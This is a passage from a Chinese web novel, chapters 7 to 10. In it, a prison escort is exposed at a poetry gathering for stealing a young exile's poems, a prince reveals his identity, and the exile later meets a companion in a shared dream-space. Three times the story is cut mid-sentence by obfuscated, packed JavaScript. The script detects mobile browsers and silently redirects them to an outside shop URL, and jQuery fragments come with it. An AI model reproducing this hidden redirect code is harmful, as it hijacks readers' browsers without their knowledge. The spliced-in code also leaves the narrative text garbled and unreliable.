《每天都在龙床上醒来怎么办》 7. 第 7 章 第七章:羊毫 “韦德寿韦大人到!” 伴随着一声响亮的喝声,原本热闹非凡的诗会陡然一静。 所有人都停止交谈,纷纷转过头。 在众人的注视下,韦德寿款步入内。 “他就是韦德寿,《江雪》的作者?” “谁知盘中餐,粒粒皆辛苦,想不到写出如此佳作的人,竟然是这般模样……倒是与我想象中不符……” “兄台这是以貌取人了,韦先生大才,内蕴风华,岂是凡人可比。” “是我失言了,今日有幸能见到韦先生作诗,不枉我提前三日从阳城赶来。” “你竟是从阳城来的?据说今年诗会本该在阳城举办,因为韦先生改到了江城……” “江城已经好几年没办过诗会了,今年沾了韦先生的光,是咱们江城文人的福气。” 在众人的讨论声中,韦德寿走入庭院内部。 才刚进门,一名衣着华贵的中年人便迎了上来,正是此次诗会的承办方东道主,江城最具名望的世族族长宋濂。 “韦先生来了,大驾光临,有失远迎。” “今日有幸能请到韦先生,寒舍蓬荜生辉啊!” 韦德寿对于这种场面,早已见怪不怪,在众人的簇拥下,他坐到了右边第一排第一个的座位上。 才刚坐下,韦德寿的目光就被隔壁的小胖子吸引了。 小胖子身着锦衣,头发乌黑油亮,皮肤白腻如雪,头上的玉簪、颈间的璎珞、手上扳指宝石五颜六色的,闪耀夺目,贵气逼人。 “这位便是轰动江城的大才子韦德寿韦先生。”宋濂对小胖子说着,转头对韦德寿道:“韦先生,这位是明公子。” 明公子? 没有介绍,没有名号,就一个称呼? 这两日在崔洛白的帮助下,韦德寿疯狂恶补勋贵宴会的规矩。 此时他已知晓,在这种大型活动上,主位一般由承办人坐着,左右两排,根据来人身份高低依次往下。 梁国以左为尊,因此左位的客人地位会略高于右位。 此时,韦德寿坐于右位第一,明公子位于右一,说明宋濂认为这小胖子的身份地位比他高。 梁国文风盛行,不论男子还是女子,都以清瘦为美,这么胖的人韦德寿不是没见过,但胖得这么富贵,还出现在诗会这般高雅的地方坐于首位,却是少见。 韦德寿心中好奇,主动拱手道:“明公子安好。” 小胖子透过肥胖的眼缝瞥了韦德寿一眼,微微颔首,连手都没抬起来。 韦德寿本就鄙薄小胖子的肥腻,此时见他态度倨傲,心中略微有些不快。 自从他的诗作传唱出去之后,走在江城中,人人都对他恭恭敬敬,连宋濂这样的世族族长都不敢怠慢他。 眼前这个其貌不扬的胖子,待人接物如此傲慢失礼,委实令人生厌。 不过在场的人没有一个人提出异议,韦德寿也没必要在这种小事上计较。 文人墨客都到齐后,诗会正式开始。 令韦德寿欣喜的是,今日诗会的主题,果然以春景为主。 座下的人提笔写完,由侍从高声念出,虽说其中不乏颇具灵气之作,但对比崔洛白给他准备的诗句,那可就差远了。 韦德寿押题成功,心中甚感自傲,他提笔书写,字迹洒脱狷狂,只待一旁的人念完诗句,轮到他的时候正好压轴,成为全场瞩目的焦点。 他盘算得好好的,耐心等候着,眼看就要轮到他时,突然,一旁的明公子却是打开折扇,一边轻晃一边道:“整天都是这么个流程,我在京都都看腻了,委实是无聊,乏味,无趣得很。” 他话音刚落,不等众人反应过来,宋濂第一个起身道:“明公子,江城只是小地方,比不得您平日里见惯的大场面……” “地方虽小,却是人杰地灵,江城传唱的诗句,早已传到京都,宋大人不用妄自菲薄。”明公子说着,似是突然想到了什么趣事,对宋大人说:“听闻大人家中有一珍品‘墨玉夜光杯’?” 宋濂连忙惶恐地道:“明公子,此乃宋某先辈家传之物,怕是……” “此乃数百年前的旧宝,我当然知道是你祖传下来的。”明公子说着,从袖中拿出了一盏墨色玲珑酒杯,摆在了桌上,“恰巧,我也得了一盏,与你家那只,似是同根同源。” 墨玉酒杯拿出来的那一瞬间,全场一惊,宋濂更是直愣愣地看着那酒杯,像是魂都被吸走了。 此杯乍一看漆黑如墨,伴随着拿酒杯的人手部晃动,灯光映在酒杯上,摇曳出点点清辉。 当明公子将酒杯置于桌上时,酒杯真正的形态完全展露出来,杯身光滑细腻,薄而透亮,墨玉自带的云水纹荡漾间,仿佛能透过酒杯,看到杯后美景。 此时它仅是空杯,便如明月般温润溟濛,若是倒上美酒,怕是更加璀璨吸睛。 更有传闻,此杯白日汲取日光精华,夜晚自带光晕流转,比那夜明珠还要稀罕百倍。 这般好东西,宋家当做祖传之物藏着掖着,平日里连看都舍不得让人看一眼,现在就这么随意地被置放于此? 好几秒后,才有人回过神,低声交头接耳起来,皆是震惊明公子的大手笔。 “不若今日便以此宝为题,谁能当上诗魁写出惊艳我等的佳作,这墨玉夜光杯,便是他的了。”明公子笑眯眯地道。 大冬天的,他摇晃着折扇,笑起来的时候,连眼缝都快看不见了。 但再没人轻慢他的身份。 宋家是江城名门望族,身份地位比城主还要高上几分,在坐的大多是本地人,很清楚宋家祖传珍宝的分量。 而这看似不起眼的小胖子,能随手将墨玉夜光杯拿出来出题,可见其身份贵重,只怕是来头不小。 对比明公子的云淡风轻,之前还德高望重的宋濂,此刻却像是打了鸡血一样看向在场众人。 大家毫不怀疑,只要有人得了这宝物,宋濂一定会付出全部代价买下。 在宋濂的强烈暗示下,一名面容尚还有些稚嫩少年郎站出来,朗声道:“在下宋棋,先向各位兄长前辈献丑了。” 他说着,提笔书写起来,一旁的小童同时高声朗诵道:“非陶非玉自玲珑,一握清寒判鬼工。最是江晚新雨后,满杯星月漾空濛。” 宋棋这首诗,清雅地勾勒出了墨玉夜光杯的空灵神韵,却少了几分内涵底蕴。 不过考虑到他的年岁,而且还是头一个站出来作诗的,已经算十分不错的了。 有他起头打个样,在场的人纷纷回过神来,投入了创作中。 一首又一首佳作脱颖而出,轮到明公子的时候,他打了打呵欠,只当无事发生。 墨玉夜光杯是他拿出来的,此时他没有作诗的兴致,大家自然也识趣地跳过了他,看向了明公子身侧的韦德寿。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854413|191616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 春景为题的时候,众人就十分期盼韦德寿的诗句,没想到被明公子打断了。 不过没事,现在又有了夜光杯为题。 只要成为诗魁,就能拿到这个夜光杯,所有人都将希望寄托在了韦德寿的身上,其中宋濂更是满眼地期盼,恨不得亲自为韦德寿研墨提笔。 韦德寿面色僵硬。 见所有人都殷切期盼地看着他,他勉强扯了扯嘴角,提笔蘸墨,缓缓书写起来。 结果才刚起了个头,也不知怎么的,似是衣袖拉扯,竟将那砚滴打翻了。 一时间,水墨四溅,沾了韦德寿一手。 众人一惊,慌忙上前查看情况,倒是韦德寿镇定自若。 他擦了擦被墨弄湿的衣袖,不在意地道:“无妨无妨,老夫只是衣裳湿了,依然能作诗,为了不耽误大家,不如让我的随从替我书写即可。” 他说着,侧身看向一旁的崔洛白,盯着他的眼睛道:“你来,将老夫刚刚告诉你的诗句写出来吧。” 见崔洛白没有异议,乖巧地走上前书写起来,韦德寿高悬的心终于放下来一点。 此刻他心中无比庆幸自己的机智。 还好将崔洛白带来了! 否则遇到这种突发情况,他半首诗都作不出来,岂不是惹人笑话?! 崔洛白的写诗能力,旁人不清楚,韦德寿再了解不过。 几乎不用思考的时间,只要给他题目,下一秒他就能写出诗句,而且句句佳作引人深思。 有崔洛白给他写诗,今天这场面,稳了! 韦德寿沉浸在劫后余生的喜悦中,没注意一旁的人悄无声息抢在了他前面,挡住了他的视线。 等他觉得不对劲的时候,崔洛白刚写完的诗句,就已经被一个人高马大的随从拿走,直接递到了明公子的面前。 明公子放下手中的折扇,兴致勃勃地接过来。 当看清纸上的字后,明公子一愣,嘴角抽了两下,然后又还给了身边的随从。 “既然是韦先生的诗,还是由韦先生自己来念吧。”明公子重新拿起折扇,摇晃着脑袋道。 韦德寿见诗作被人拿走,心里还咯噔一下,正担心着呢,没想到那明公子竟然这么快就还给了他。 他连忙接过,展开竹纸就准备念起来,然而当看清纸上写的东西之后,韦德寿脸色一僵,终于知晓明公子那神情由何而来。 崔洛白这狗爬字! 平日里他的字就已经够丑的了,今日更是丑出天际,只因诗会上,宋濂为众位文人墨客准备的是羊毫。 羊毫素有软毫之王的称号,毫身细腻,笔触绵软丰腴,其中内部中空的结构,能够吸附大量墨汁,下笔后,能完美呈现字迹浓淡干湿的变化。 也因为这样,羊毫对持笔者的腕力要求极高。 越软的毛笔,书写时使用的力道愈发需要精准,书写者水平越高,用羊毫写出的字便越具独特的风格。 因其这些特性,这些年深受文人墨客的追捧。 这种笔,对于韦德寿这种书法爱好者来说,是好物,但对崔洛白这种狗爬字的人来说,稍稍一用力,柔软的笔头便完全压在了纸上,与此同时,笔中大量的墨汁滴落下来,最终糊成一团,看上去跟狗踩过了一样。 四行诗句,韦德寿看了半天,竟然也只认出了“玉酒”、“天工、“人间”几个字眼…… 这让他怎么念? 8. 第 8 章 第八章:皇子 “韦先生?” “怎么了,怎么不念了?” “韦先生虽然才华横溢,不过身边的随从水平似乎十分一般。” “这字……额,神仙来了也看不懂啊。” “韦先生,要不您还是直接念吧。” “先生若是不嫌弃,我来替先生书写可好?” “我也写我也写!” “若能有幸为韦先生提墨,这趟来得也值了!” 众人七嘴八舌地说着,皆殷切地看着韦德寿。 其中最主动的莫过于宋濂,他嘴上虽没说什么,手上动作确实极快,竟然已经在韦德寿旁边摆好笔墨纸砚,手上提着笔,两眼放光地盯着韦德寿,只待韦德寿一念出来,他就立刻书写起来。 今日能不能让明公子留下这墨玉夜光杯,可全看韦德寿这首诗了! 韦德寿的脸色由红转紫,愣是憋成了猪肝色。 他瞪向崔洛白,却见崔洛白一如既往地站在旁边,平平静静地看着他。 那神情中,什么都没有,却也什么都包含了。 韦德寿突然明白过来,咬牙道:“你是故意的。” “什么故意的?” “怎么了,发生什么事了?” “怎么还不念诗啊。” “这诗句不是都写出来了吗,为什么不念?” 一片嘈杂的议论声中,明公子那慵懒的声音轻飘飘地传来:“别难为他了,他根本念不出来。” 众人有些意外地看向明公子,一时之间不知他此言何意。 “那狗爬字,除了这首诗的主人,怕是谁都认不出来了。”明公子摇着折扇,似笑非笑地道。 这番姿态,若是姿色尚可,倒也清俊洒脱,偏生这明公子生得白胖肥腻,这动作配上这语调,只令人觉得字字刻薄,嘲讽至极。 还提着笔的宋濂迟疑道:“明公子的意思是……” 明公子看向崔洛白:“你作的诗,你还不打算告诉大家吗?” 众人一惊,沿着明公子的目光望去,全都落在了崔洛白的身上。 之前只当他是韦德寿的随从,见他穿着一身破旧的奴仆的衣服,谁也没把他当回事。 此时认真一看才发现,竟然是个容貌清雅的年轻男子。 难道这写得一手狗爬字的年轻男子,才是真正的作诗人? 众人看了看年轻俊秀的崔洛白,又看了看面色铁青,倒现在还半句诗都念不出来的韦德寿,心中惊诧,一时之间只觉得难以置信。 “玉酒徒盈夜光杯,天工巧映绣罗帷。” “醉客何须忧醉卧,人间天地正同归。” 崔洛白缓声念道,伴随他的话音落下,全场一静。 在场皆是有些才学在身的才子诗人,诗句好不好,一听便知道。 此诗精巧磅礴,引人深思,显然是之前韦德寿的一贯作诗风格。 可是,众目睽睽之下,韦德寿念不出来,却由他的随从念出来了,这…… “不知这位年轻人是……”宋濂放下手中的笔,看着崔洛白好奇地问道。 “家父前光禄寺少卿崔康远,在下是崔家最小的嫡子,崔洛白。”崔洛白自我介绍道。 罪臣之子这道身份瞒不住,反正迟早会被人知道的,不如早早说出。 他一说完,众人脸上惊艳的神情顿时淡了许多,不少人甚至直接移开目光,深怕和他沾染半分关系。 韦德寿名动江城,他的来历早就被扒了出来,扣押流放罪臣崔氏一族前往北寒,韦德寿是那差役首领,而眼前的这个年轻男子,便是流放罪臣之子了。 光禄寺少卿,正五品京官,皇帝眼皮子底下当差,多少人巴结谄媚的对象。 然而前光禄寺少卿,可就一文不值了。 犯人之子,同样是犯人,可以说此刻崔洛白的身份,甚至连最下九流的戏子都不如。 戏子尚有良家,他可是结结实实的罪犯,得罪的还是当今天子。 这谁敢结交? 再有才华都不行啊! 韦德寿敏锐地感受到大家神情的变化,心中又恼怒,又畅快,那叫个惊惧与喜悦交织。 诗句已经被崔洛白念了出来,拿着那狗爬字手稿也无济于事。 韦德寿索性将手中的竹纸往桌上一扔,斥声道:“崔洛白,你们崔家落罪,我怜你年纪轻轻便成了犯人,在你苦苦哀求下应允让你当我的随从,带你出入诗会这样的场所,没有想到,你竟然品行不端,暗中窃诗!” 宋濂看了看韦德寿,又看了看崔洛白,最后目光落在了明公子脸上。 见明公子依然摇晃着折扇,宋濂想了想,站在崔洛白身旁,对韦德寿道:“韦先生,刚刚那诗句,分明是崔小友所作,你这窃诗之言……” “我奉皇命扣押流放罪臣一族,途径江城诗兴大发作诗数首,原并不打算张扬,却不料那些诗句,未经我本人同意,竟然意外流传了出去。” 韦德寿双手负于身后,感慨道:“名扬江城,非我本意,更令我无奈的是,虽然大部分诗作是以我的名义流传出去,但偶有些残诗手稿,却被人窃了去,成就了他人才名。因没有证据,我也不喜张扬,便将此事压于心中。” “崔洛白是崔康远最小的儿子,他父亲虽然不堪为人,但儿子毕竟年轻,又喜好诗书,与诸位读书人无异。虽然诸多证据一一指向他,但我不愿接受,更不愿意相信自己看走了眼。” “直到今日,不过略略试探一二,他果然迫不及待,将我刚刚告诉他的诗句据为己有,想要泼我脏水,夺我才名!” 韦德寿对这崔洛白道:“崔洛白,你父亲虽犯下重罪,但你并不是没有改过自新的机会,可你却偏偏窃诗与他人伙同作案,串通一气,狼狈为奸!” 他说着,目光先在崔洛白身上一顿,下一秒,更是望向依然静坐在原位上的明公子。 那所谓的伙同作案串通一气狼狈为奸,意指于谁不言而喻。 众人闻言,面面相觑,又是好奇,又是震惊,一时之间,简直不知道该相信谁为好。 原以为今日这样的盛会,定能一睹佳作风采,怎么也想不到,最精彩的竟然不是斗诗,而是这种事。 文人最看重作品,如今如此优秀的诗作陷入了疑云之中,不少人目光围绕着韦德寿和崔洛白之间打转的同时,也忍不住望向那个小胖子。 “说起来,这明公子也没有什么代表作,就来参加诗会,虽说墨玉夜光杯价值连城,但他连半句诗都作不出来,未免也……” “瞧他那脑满肥肠的样子,一看就是胸无半点墨水,不就是有几个臭钱吗。” 在场以貌取人的可不止韦德寿一个。 一个暴发户坐在那么靠前的位置,一首诗都没拿出来,态度还这么嚣张,多得是人心中嘀咕,只是看在宋濂的面子上没去追究罢了。 现在既然韦德寿带头指出崔洛白和明公子伙同窃诗,那就不怪他们私下议论两句了。 韦德寿察觉到风向转变,心中大定。 一切果然如他所料,只要崔洛白罪臣之子的身份捅出来,不管他说什么,都没有用了。 不仅不会有人信崔洛白,而且连带着帮崔洛白的人,也将会受他牵连。 有了此例,从今往后,再也不会有人质疑他了。 只不过,台下议论纷纷,不少人对明公子也颇有微词,但刚刚还一度十分嚣张的小胖子,此刻怎么如此镇定? 韦德寿心中这疑虑才刚刚腾升,下一刻却见宋濂站了起来:“慎言!事有疑虑,请不要误伤无关人士,诸位,请慎言!” 宋濂不说这话还好,此话一出,底下的才子们先是一静,随后不少人暗自蹙眉,心中腾升起反感之意。 今日的诗会是江城盛典,能被邀请来的,无一不是有才名在身,读书人最不缺的就是一身傲骨。 小胖子借着宋濂的关系,坐到了高位,没有才学就算了,还满身金银玉器等俗物,越看越觉得俗不可耐。 唯一拿得出手的,便是那墨玉夜光杯,倒是让宋濂眼馋不已。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854414|191616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 宋濂该不会就是贪图那墨玉夜光杯,才捧着这胖子的臭脚吧? 不少人心中不满,不过宋濂在江城颇有威望,大家心中不快,也无一人反驳。 韦德寿见目的达到,赶紧见好就收,假装愠怒地拂袖起身,准备离席。 “沽名钓誉之辈,欺世盗名之徒,江城文坛,不过如此。既然这里不欢迎老夫,那老夫就此离开便是!” 他身为扣押犯人的差役,在江城逗留时间已经太久太久了。 之前没人注意他也就罢了,现在既然闹出了纷争,不如趁此尽快离开,赶去下一个城市争得名望。 好在他昨日留了个心眼,让崔洛白给他写了不少好诗,够他接下来用很久了。 至于崔家人…… 韦德寿眼中闪过一丝阴狠之色,既然崔洛白不义,那么别怪他无情了。 韦德寿快步往外走去,结果迎面便撞上几个魁梧大汉。 他身为差役,练过几年武,自是有几分身手的,寻常打手根本不放在眼里。 然而这几个魁梧大汉一出手,韦德寿连对方的动作都没看清,只感觉眼前一花,随后他便退回到了人群中,根本没有离席的机会。 韦德寿又惊又怒,第一反应是转身看向宋濂,却见那一直坐着的小胖子悠悠起身,摇晃着手中折扇道:“你的意思是,我和崔洛白联手偷你的诗?” 台下众人交头接耳之时,不少人嫌弃他长得丑还拿着把扇子装模作样。 他明明听到了,此刻依然我行我素,甚至扇子摇的更慢,姿态更加傲慢。 明公子对韦德寿道:“且不说此事与我有何关联,你与崔洛白,到底是谁才华盖世,谁偷谁的诗句,想要知道真相并不难,现场比一比便一目了然了。” 不等韦德寿回答,一名韦德寿的狂热追随者忍不住道:“崔洛白是犯人,你与崔洛白是同伙,凭什么听你的?!” “科举舞弊案屡见不鲜,提前背题透题之事也是常有,想要证明实力很简单,临时多出一些冷门生僻的难题,最考验人的临场反应,也最能证明人的真才实学。”小胖子不急不慢地道,“本王临行前,皇兄最忧本王安危,特赠王命鱼符,不若便以它为题吧。” 他说着,随手拿出一枚通体金色的小鱼形状令牌置于案上。 那人还想再说什么,却被一旁的人眼疾手快地拉住:“你不要命了,那可是金鱼符!” “金鱼符是什么?” “他好像说了本王,难道他是……” 即便在北方,江城也不是最繁华的城市。 城内文人墨客长期偏居一隅,见过最高地位的人也就是宋濂了。 此刻大部分人又茫然又惊诧,一时之间根本反应不过来。 宋濂瞧着这群人一脸茫然没出息的样子,那叫个恨铁不成钢,赶忙躬身高声道:“此乃十三皇子殿下,由殿下亲自出题,你们谁还有异议?” 宋濂话一出,在场的人都傻眼了,怎么也没想到,小小一个江城诗会,怎么会引来这样一个大人物。 帝后不和,皇贵妃上位把持后宫,这十三皇子,正是皇贵妃之子。 伴随着皇贵妃上位,十三皇子有可能继承大统的传闻不断传来,已经成为了与当朝三皇子与九皇子并肩的热门人物。 坊间传闻十三皇子天生富贵命,气宇轩昂龙章凤姿,是与圣上最相像的皇子。 结果就这? 当然,这不重要。 重要的是,他们在不知其身份的时候,似乎说了不少他的坏话…… 不少口出恶言的人惶惶不安,悔得肠子都青了。 韦德寿更是面如土色,不敢相信自己今天竟然如此歹运,没夺得诗魁就算了,还得罪了一名皇子?! 早知如此,今日何苦来这个诗会! 他敢拿捏崔洛白,倚仗的就是崔家得罪皇室,如今这十三皇子跳出来,谁还敢质疑? 一旦真的开始比拼,他定然露馅,偏生他现在连走都走不了了…… 完了,这下全都完了。 9. 第 9 章 第九章:积分 冬日的江城天气变化极大,上午还碧空如洗,未时刚过,云暗天低,又下起了蒙蒙小雪来。 几辆马车迎着雪一路从宋宅来到客栈,伴随着“吁”的一声,马车停下。 最前头的车夫下车,拉开厚重的襜帷。 崔洛白从车内走出,越过客栈大厅那一群神色莫幻的差役,走到了最里头的柴房,找到了崔家人。 平日这个时候,崔家人都在院中干活,今日众人显然收到了消息,所有人都候着,等待着崔洛白的归来。 雪越下越大,不少落在他的额上肩上,白雪簌簌冰透晶莹,更映衬得他容姿的清隽秀雅。 崔母见他满身风雪,连忙走上前替他擦拭。 待崔洛白收拾好后,崔康远道:“洛白,韦德寿窃诗一事已传遍全城,这到底是怎么一回事?” 崔洛白闻言在心中苦笑。 虽然他参加了诗会,虽然他是当事人,但说真的,其实他也没搞明白,这一切到底是怎么回事。 按照他的计划,今日与韦德寿一同参加诗会,期间若有机会拆穿韦德寿最好。 没有也没关系,只要想办法露露脸,让旁人注意到有他这么一号人,接下来的日子都能好过不少。 韦德寿极其爱惜自己在诗才方面的名声,自古君子六德,对上恭敬,对下不傲,是为礼,韦德寿的名声越大,越怕传出苛待下人暴戾专治的传言。 光为了他自己的声名,韦德寿就会宽待崔家人。 结果没有想到,诗会上竟然会出现十三皇子这样的人物。 干脆利落地拆穿韦德寿,毫不客气地将他窃诗一事大肆宣扬出去,同时为崔洛白正名。 崔家落魄至此,根本原因就是获罪后朝中无人,如今有十三皇子撑腰,接下来至少再也不用担心活活饿死冻死这样的事情发生了。 在此之前,崔家人并不知道崔洛白受韦德寿胁迫写诗一事,于是崔洛白将事情从头到尾都讲述了一遍。 窗外的雪越下越大,压在竹叶上沉沉落下,漫天一片白色,整个江城像是一幅冬景里的画。 崔洛白说完前因后果之后,忍不住看向崔康远道:“父亲与十三皇子,是否为旧识?” 崔康远以前在宫内任职,与宫中贵人打过交道的概率很大。 崔洛白观察这次十三皇子的一言一行,总觉得不像是偶然经过。 结果崔康远却是摇了摇头:“虽见过几次面,但并无交情。” 他顿了一下后,又补充道:“不过,倒是曾与九皇子畅聊过几次……” “九皇子?”崔洛白疑惑。 他对这个世界没有记忆,目前只知道帝后不和,右相一党倒台后,朝廷肃清了一波大臣。 至于那些皇子之间的争斗,他就完全不得而知了。 “那也是许多年前的事情了。当年为父因烧得一手好菜,机缘巧合之下得到陛下赏识入宫觐见,恰逢九皇子有位至交好友,似是身体亏空,体虚需要食补滋养,九皇子十分关心那位好友的身子,特来向我讨教,不仅要走了不少方子,还亲自学习如何下厨制作膳食。” “九皇子竟然亲自下厨……这……”一旁的崔家人个个满脸震惊,宛如听到了天方夜谭。 崔洛白倒是挺平静的。 古代人讲究君子远庖厨,更何况皇子这种尊贵的身份。 不过这种事吧,也就在古代了,现代社会可不讲究这些。 “药膳一事,非一日可补全,因此那段时间,与九皇子倒是时常碰面交流畅谈。不过后来不知发生了何事,九皇子性情大变,再也没提膳食一事,我与九皇子之间,便也很少往来了。”崔康远回忆道。 “十三皇子向来以九皇子马首是瞻,许是九皇子看在当年的情谊,授意十三皇子多多照拂一下崔家?”有人猜测道。 崔康远却是摇了摇头:“此事蹊跷,恐怕没有这么简单。” 崔洛白见大家陷入未知的忧虑中,想了想道:“不论如何,一切都在朝好的方向发展,再糟糕也不会比我们当下的处境更加糟糕了。” “韦德寿已被革职,十三皇子接下来一路向北,正好与我们同路,他打算带上我们。” 见大家看向他,崔洛白对大家笑了笑,道:“天寒地冻,十三皇子体恤我等,赐了不少过冬好物送来客栈,同时宋大人也为我们订了几间客房,今夜大家不用睡柴房了,我们可以到客房去好好休息一下。” 他话音刚落,恰好这时柴房外传来了敲门声,店小二道:“各位客官,客房已经收拾好了。” 崔家人没想到还有这番意外之喜,不少人脸上都露出了惊喜的神色。 对于当下的崔家人而言,别的都是虚的,能给口好吃的,提供暖和的住处,是再实在不过的事了。 待一切安置好后,已然入夜。 崔家人口多,客栈里的客房不够住,因此几人睡一间。 想和崔洛白一起睡的崔家人不少,大家都想多问问关于作诗啊,十三皇子啊之类的事,不过这个名额,最终还是被崔思源抢到了。 吃过晚膳,又洗了个热水澡,崔思源躺在柔软的床上,几乎要幸福得昏过去。 他刚想催促崔洛白早点休息,转头就看到崔洛白又拿了一床被褥过来。 “兄长不和我同盖一床被褥吗?你放心,我睡相很好的,绝对不会乱动,更不会抢兄长的被子。”崔思源道。 “我知道,你向来是最乖巧的。”崔洛白笑道,“是我睡相不好,怕吵到了你。” 他说着,将被子铺好,最好能裹得严严实实的,今晚他要带着这床被子一起见阿遥。 这么多天了,他身无长物,每天都在蹭阿遥的,今日终于觅得机会,轮到他也带一次物资了。 虽然和阿遥的那些没得比,但也是个好的开始,代表他的生活迎来了转机,以后肯定会越来越好的。 崔洛白刚铺好被子,一旁的崔思源已经沉沉睡去。 小孩子正是爱睡觉的年纪,崔思源自打流放之后,就没好好睡过,今日终于躺在了柔软舒适的床榻上,不用再像往日那般担惊受怕。 他睡得极沉,没一会儿甚至还打起了轻微的呼噜。 崔洛白摸了摸他的头,替他整理好被子,自己也卷着床褥躺下。 按照他往常的作息,刚躺下不久他就能秒睡,到阿遥身边后再慢慢醒过来,吃饱喝足后再睡一次。 可是奇怪的是,今夜却怎么也睡不着。 许是今天发生了太多事,许是崔家人终于不用睡柴房了,又或许是他已经迫不及待带着物资想要见到阿遥。 夜色越来越深,眼看着子时越来越近,崔洛白头一次在如此清醒的状态下,等候自己穿越。 就在这时,他的眼前,突然飘出了几个数字。 积分:625 崔洛白一愣,还没想明白是怎么一回事,下一瞬眼前的景象一变,他已经离开客栈,来到了他与阿遥的特殊空间中。 崔洛白眨了眨眼睛,看向四周。 是他无比熟悉的特殊空间,但刚刚那行小字,已经完全消失不见。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854415|191616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 它出现的极快,消失得也快,一切都宛如是他的错觉一样。 但崔洛白可以肯定,不是错觉,那行字是真是存在过的。 数字也很特别,不是整数,而是625这种较为零碎的数字。 它代表了什么? 会不会这就是传说中的……系统? 说起来,他能每天晚上穿越,本来就挺离奇的,再加个系统,反而合理很多了有没有! 在穿越过来之前,崔洛白也看过不少类似的小说和短剧,系统那些套路,崔洛白已经大致知晓。 他努力回忆了一下主人公们和系统接触的剧情,模仿着里头的人物,先在心中道:“系统,你在吗?呼叫系统?呼叫AI?” 没有动静。 崔洛白在心中各种办法都尝试了一下,确定用心声是没用了,便张口小声道:“系统系统,呼叫系统。” 还是没有任何动静。 崔洛白又小声尝试了几回,最后甚至动作都加上了,可是不论他怎么探索,都没有任何反馈。 折腾了一番下来,崔洛白有点累了,甚至觉得自己这样有点儿傻。 这要被阿遥看在眼里,不会觉得他失心疯了吧。 说起来今晚身旁怎么这么安静? 崔洛白后知后觉朝身侧一看,才发现身旁空空如也,阿遥居然不在? 仔细聆听,不远处倒是有些许轻微的动静。 崔洛白起身走出去,一眼就看到阿遥忙碌的身影。 他竟头戴浅色头巾,袖口折叠,腰间绑着个类似围裙的东西,在捣鼓那些食材。 他虽比崔洛白年岁要小些,但身高已经超过了崔洛白,身型也是介于少年与青年之间的模样,因为有习武的缘故,猿臂蜂腰,颀长劲痩,一看就不是普通家庭能养育出来的矜贵公子。 这样的人,系着围裙对着一堆食材仔细研究,那认真的模样,莫名带着点儿反差萌。 听到崔洛白的脚步声,阿遥连忙道:“抱歉抱歉,今日结识了一名大厨,特意向他请教学了道滋补养身的新菜式,白日尝试的时候明明成功了,没想到晚上再做居然失败了。不过我又重新试了一遍,很快就好了。” 他说着,端了盘糕点递给崔洛白:“饿了吧,先吃点这个填填肚子,我这边马上就好。” 崔洛白每次过来的时候,阿遥都已经把膳食准备好了,他光顾着吃了,也没多想阿遥到底是怎么做到的。 直到今天才意识到,能够在他每次过来的时候,都将食物烹饪得正好,阿遥怕是费了不少心思。 他竟然吃了这么久白食。 没出力也没出钱的,一天天的连吃带拿…… 越想崔洛白越不好意思,心中万分庆幸,还好今日生活改善了,至少他拿了一床被子过来。 虽然那被子和阿遥的付出对比,实在是微小得可怜,不过也总比什么都没有要好一点点……吧? 崔洛白这样想着,赶忙将糕点放在一旁,上前道:“我来给你打下手,我们一起。” “你好好休息就行了,马上就好了。”阿遥说着,见崔洛白站在一旁看着他,一副很想出一份力的模样。 他想了想,对崔洛白道:“我新得了一瓶枸杞桂圆酒,你帮我摆盘斟好,一会儿我们一同享佳肴,饮美酒,如何?” 他说着,将枸杞桂圆酒和酒杯一同交给了崔洛白。 崔洛白刚接过,就愣住了。 阿遥递给他的这酒杯……怎么和今日诗会上,十三皇子拿出来的那盏墨玉夜光杯一模一样? 10. 第 10 章 第十章:分床 墨玉夜光杯最大的特色,就是杯身薄如蝉翼,十分接近现代盛产的玻璃杯。 玲珑剔透的同时,还能够透光看到墨玉自带的云水纹,到了光线昏暗的地方,甚至能自发出柔和的微光,像是将一轮皎洁明月握在手中一样。 韦德寿与十三皇子面对面坐着,十三皇子将那墨玉夜光杯放在桌上的时候,站在韦德寿身旁的崔洛白也仔细观察过。 白日刚见过的珍宝,这会儿还记忆鲜明,崔洛白可以确定,此时阿遥递给他的两盏酒杯,和十三皇子拿出来的那盏墨玉夜光杯几乎一模一样! 阿遥见崔洛白神色有异,询问道:“是否有何不妥之处?” “这是墨玉夜光杯?”崔洛白询问道。 “不错。”阿遥道,“洛白喜欢此物?将它送予你可好” “不用不用。”崔洛白哪想到阿遥这么大方,价值连城的宝物,说送就送了,连忙解释道,“我平日不怎么喝酒,对这些酒啊杯盏啊,并不了解,也不是很感兴趣。只是白天恰好见过两盏一模一样的,所以有些好奇罢了。” 